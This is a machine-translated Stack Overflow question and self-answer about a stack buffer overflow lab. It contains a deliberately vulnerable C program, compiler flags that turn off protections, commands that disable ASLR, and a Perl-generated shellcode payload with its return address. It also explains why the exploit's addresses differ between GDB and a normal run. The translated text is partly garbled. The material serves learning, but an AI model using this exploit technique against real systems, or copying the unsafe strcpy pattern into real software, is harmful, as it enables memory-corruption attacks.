我很久以前就开始讨论Stack位于缓冲区溢出的问题,但我决定建立一个虚拟机并实际看到它们。
以下代码是易受攻击的程序:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
它是使用GCC上的-zexecstack
和-fno-stack-protector
选项编译的,它们都允许堆栈中的代码可执行,并禁用程序内置的Stack Overflow保护(&#34; canary&#34 ;价值)。
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
然后我使用GDB查找堆栈上name
的内存位置,找到以下地址:0x7fffffffdc10
由于我的VM有最近的linux版本,我必须通过运行以下命令来禁用ASLR(地址空间布局随机化):
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
或sudo sysctl -w kernel.randomize_va_space=0
。
shellcode取自我在网上发现的有关Stack Smashing的文章,并通过Perl脚本提供给该程序:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
作为shellcode的前45个字节(应该写在屏幕上的#34; Hax!&#34;),一些额外的27&#34; A&#34;用于将指针放在正确位置的字节,最后是小端的有效负载的起始地址。
问题是:
在GDB上运行程序时,通过:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
我可以运行shellcode和&#34; Hax!&#34;输出
尝试在GDB之外运行程序时
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
我收到Illegal instruction (core dumped)
错误,而不是&#34; Hax!&#34;输出
我一直在试图弄清楚这种不同行为的原因是什么。显然,GDB默认禁用ASLR,但我也通过内核上的sysctl
禁用了它。内核可以忽略kernel.randomize_va_space
变量吗?或者也许内存地址在GDB和真实进程上是不同的,即使是静态的?或者真正的进程实际上是在运行shellcode,但GDB忽略/绕过的实际进程出了什么问题呢?
关于可能是什么原因的任何想法?
答案 0 :(得分:0)
在阅读了这个答案(https://stackoverflow.com/a/17775966/6765863)之后,我改变了一些关于我尝试执行堆栈缓冲区溢出的事情。
首先,我在GDB测试和常规二进制测试中使用了上面答案(env -i
)中建议的清晰环境。在GDB上,我必须进一步运行命令unset env LINES
和unset env COLUMNS
以完全清除GDB环境。
其次,我使用了可执行文件的完整路径,以确保argv[0]
变量在两个测试中都是相同的,而不会影响Payload地址。
即使在这些步骤之后,我仍然只能在GDB版本上点击Payload。所以我制作了代码的“调试”版本,在那里我将打印Payload的内存地址(这将是函数“go”上的“名称”数组地址)以及argv[0]
和{{的地址1}}。最终代码如下:
argv[1]
我知道我应该明确包含stdio.h(我的坏!)。我不知道添加#include<string.h>
void go(char *data){
char name[64];
printf("Name: %p\n",name);
strcpy(name, data);
}
int main(int argc, char **argv){
printf("Argv[0]: %p\n",argv[0]);
printf("Argv[1]: %p\n",argv[1]);
go(argv[1]);
}
是否会改变内存地址上的任何内容(不要这么认为,因为它是一个预处理器调用,编译器可能会以相同的方式调用,但是在所有调试之后)如果程序仍然有效,我不想冒险再次这样做。)
无论如何,我注意到GDB测试和常规测试的地址有点不同。更具体地说,有效载荷地址具有+ 0x40偏移量(64字节)。更改Perl脚本以实际访问该地址足以使其在GDB之外工作。
我仍然不确定堆栈上可能有什么不同,但整个问题是两个测试都没有匹配的精确地址。如果有人知道在GDB测试中可能有多余的64字节,我会很高兴将它添加到我的答案中!